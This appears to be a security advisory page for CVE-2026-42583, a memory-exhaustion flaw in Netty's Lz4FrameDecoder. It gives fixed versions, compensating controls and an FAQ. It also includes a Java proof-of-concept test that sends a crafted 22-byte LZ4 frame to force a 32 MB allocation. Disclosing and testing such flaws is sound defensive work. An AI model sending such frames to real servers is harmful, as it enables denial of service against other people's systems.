CVE-2026-42583: Netty: Lz4FrameDecoder resource exhaustion
Summary Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
java @Test void test() throws Exception { EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { AtomicReference<Throwable> serverError = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap() .group(workerGroup) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline() .addLast(new Lz4FrameDecoder()) .addLast(new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverError.set(cause.getCause()); } else { serverError.set(cause); } latch.countDown(); } }); } });
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap() .group(workerGroup) .channel(NioSocketChannel.class) .handler(new ChannelInboundHandlerAdapter() { @Override public void channelActive(ChannelHandlerContext ctx) { ByteBuf buf = ctx.alloc().buffer(22, 22); buf.writeLong(MAGICNUMBER); buf.writeByte(BLOCKTYPECOMPRESSED | 0x0F); buf.writeIntLE(1); buf.writeIntLE(1 << 25); buf.writeIntLE(0); buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive(); } });
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close(); serverChannel.channel().close(); } finally { workerGroup.shutdownGracefully(); } }
Impact Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
Other sources
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/io.netty:netty-codecto a version that resolves this vulnerability.Fixed in 4.1.133.Final - Upgrade
Upgrade
maven/io.netty:netty-codec-compressionto a version that resolves this vulnerability.Fixed in 4.2.13.Final - Upgrade
Upgrade
io.netty.handler.codec.compression.Lz4FrameDecoderto a version that resolves this vulnerability.Fixed in 4.2.13.Final - Upgrade
Upgrade
io.netty.handler.codec.compression.Lz4FrameDecoderto a version that resolves this vulnerability.Fixed in 4.1.133.Final - Compensating control
Add per-channel and/or aggregate request/resource limits so untrusted senders cannot repeatedly trigger Lz4FrameDecoder decompression allocations (the issue notes that lack of per-channel/aggregate limits allows memory stress with many small requests).
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42583?
CVE-2026-42583 is considered to have a medium severity due to potential denial of service risks.
How do I fix CVE-2026-42583?
To fix CVE-2026-42583, upgrade io.netty:netty-codec to version 4.1.133.Final or later, and io.netty:netty-codec-compression to version 4.2.13.Final or later.
What versions are affected by CVE-2026-42583?
CVE-2026-42583 affects io.netty:netty-codec versions up to 4.1.132.Final and io.netty:netty-codec-compression versions up to 4.2.12.Final.
What is the attack vector for CVE-2026-42583?
The attack vector for CVE-2026-42583 involves sending specially crafted LZ4 compressed data that can lead to resource exhaustion.
What are the potential impacts of CVE-2026-42583?
The potential impact of CVE-2026-42583 includes denial of service through excessive memory allocation.